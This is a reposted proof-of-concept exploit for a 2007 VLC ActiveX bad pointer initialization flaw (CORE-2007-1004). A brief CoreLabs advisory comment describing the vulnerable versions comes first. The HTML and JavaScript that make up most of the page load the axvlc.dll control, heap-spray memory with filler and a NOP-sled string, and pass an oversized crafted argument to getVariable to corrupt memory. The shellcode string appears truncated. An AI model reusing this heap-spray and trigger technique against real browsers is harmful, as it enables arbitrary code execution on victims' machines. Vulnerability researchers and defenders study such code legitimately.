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VLC 0.86 < 0.86d ActiveX Remote Bad Pointer Initialization PoC
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来源：http://www.coresecurity.com/corelabs 作者：CoreLabs 发布时间：2007-12-05
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<!--
Core Security Technologiess - CoreLabs Advisory
http://www.coresecurity.com/corelabs
VLC Activex Bad Pointer Initialization Vulnerability
*Advisory Information*
Title: VLC Activex Bad Pointer Initialization Vulnerability
Advisory ID: CORE-2007-1004
Advisory URL: http://www.coresecurity.com/?action=item&id=2035
Date published: 2007-12-04
Date of last update: 2007-12-03
Vendors contacted: VLC
Release mode: Coordinated Release
*Vulnerability Description*
VLC player is a popular multimedia player for various audio and video
formats, and various streaming protocols.
A vulnerability has been found in the ActiveX control DLL (axvlc.dll)
used by VLC player. This library contains three methods whose parameters
are not correctly checked, and may produce a bad initialized pointer. By
providing these functions specially crafted parameters, an attacker can
overwrite memory zones and execute arbitrary code.
*Vulnerable packages*
VLC media player version 0.86, 0.86a, 0.86b y 0.86c.
-->
<html>
<head>
<object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8'
id='target' ></object>
</head>
<body>
<script>
var mm = null;
if( target != null )
{
var param1 = unescape("%u0505%u0505");
var salame = "defaultV";
var salame2 = 1;
var salame3 = 0;
ag = unescape("%uCCCC%uCCCC");
sh =
unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%");
sz = sh.length * 2;
npsz = 0x400000 - (sz + 0x38);
nps = unescape("%u0505%u0505");
while(nps.length * 2 < npsz) nps += nps;
ihbc = (0x0E000000 - 0x400000) / 0x400000;
mm = new Array();
for(i = 0; i <= ihbc; i++) mm[i] = nps + sh;
for(var i=0;i<2000;i++)
param1 = param1 + unescape("%u0505%u0505");
target.getVariable (param1);
}
</script>
</body>
</html>
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